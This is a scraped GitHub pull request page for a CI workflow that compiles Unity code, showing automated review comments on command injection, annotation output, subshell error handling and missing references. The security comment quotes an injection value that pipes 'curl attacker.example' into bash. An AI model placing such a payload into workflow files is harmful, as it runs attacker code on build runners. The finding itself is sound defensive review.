Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
ci: license-free compile check on every PR (incl. forks) #1314
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Uh oh!
There was an error while loading. Please reload this page.
ci: license-free compile check on every PR (incl. forks) #1314
Changes from all commits
73c71bcFile filter
Filter by extension
Conversations
Uh oh!
There was an error while loading. Please reload this page.
Jump to
Uh oh!
There was an error while loading. Please reload this page.
There are no files selected for viewing
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Command injection via unsanitized
tools/unity-versions.jsoncontent spliced intorun:scripts.steps.unity.outputs.versionandsteps.unity.outputs.image(Lines 59-63) derive fromtools/unity-versions.json, a file inside the checked-out repository. That file is also one of the paths that triggers this workflow onpull_request(Line 25), so any fork PR can modify it. The validation at Line 60 only rejects empty or literal"null"values — it does not sanitize shell metacharacters.These outputs are then interpolated directly into
run:scripts with${{ }}at Line 86, Line 90, Line 101, and Line 110.${{ }}expansion happens before the shell script is generated, so adefaultVersionvalue such as2021.3.45f2"; curl attacker.example | bash #breaks out of the quoted string and executes arbitrary commands on the runner. Because this workflow is explicitly designed to run on fork PRs with no secrets, this is directly reachable by any external contributor.permissions: contents: readandpersist-credentials: falselimit some of the blast radius, but do not prevent arbitrary code execution, resource abuse, or reading anything else available to the runner.Pass these values through
env:and reference them as shell variables instead of re-interpolating${{ }}inside the script body. (Line 96's${{ job.status }}is not attacker-controlled and is not part of this issue, though converting it too keeps the pattern consistent.)🔒 Proposed fix
Also applies to: 81-91, 93-113
🤖 Prompt for AI Agents
Source: Linters/SAST tools
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
::error::/::warning::annotations are inconsistently sent to stderr.die()(Line 39) and the missing-reference warning (Line 121) write to stderr (>&2), while the compile-failure and final-failure annotations (Lines 132, 146) write to stdout. GitHub's documentation states workflow commands "are then sent to the runner over stdout." Sending::error::/::warning::to stderr risks these specific annotations not rendering in the GitHub UI, even though the raw text still appears in the step log.Since
die()covers the most critical failure paths (missingUNITY_DATA, missingcsc.dll, nodotnet, unsetUNITY_VERSION), losing its annotation reduces the diagnostic value this tool is built to provide.♻️ Proposed fix
Also applies to: 121-121, 132-132, 146-146
🤖 Prompt for AI Agents
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
die()inside a piped subshell does not stop the script.platform_defines()callsdie "unknown platform '$1' ..."at Line 84. At Line 116,platform_definesis invoked as the left side of a pipe:platform_defines "$platform" | while read -r d; do ...; done. The pipe's left side runs in a subshell, sodie'sexit 2only terminates that subshell. Since-eis not set, the parent script continues, silently compiling with no platform defines for that entry instead of aborting asdie()intends.PLATFORMSis documented as user-overridable (Line 21), so an invalid override (for example a typo likewindows) would trigger this silently-swallowed failure path rather than a hard stop.🐛 Proposed fix
Also applies to: 115-116
🤖 Prompt for AI Agents
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Enforce the missing-reference check instead of only warning.
missingcounts unresolved manifest entries (Line 121), but the count is never checked before Line 129 runscsc. If a reference silently fails to resolve — for example, ifunityci/editorchanges itslibcachelayout, orEXTRA_REFSis misconfigured — the script prints::warning::and continues. The compile can still reportOKif the missing type happens not to be exercised, silently weakening the guarantee this check exists to provide.nrefs(incremented alongsidemissing) is also unused: Line 128 recomputes the reference count from the file withgrep -c '^-r:' "$rsp"instead.Fail the compile explicitly when any manifest reference cannot be resolved.
🐛 Proposed fix
📝 Committable suggestion
🤖 Prompt for AI Agents
Uh oh!
There was an error while loading. Please reload this page.
Uh oh!
There was an error while loading. Please reload this page.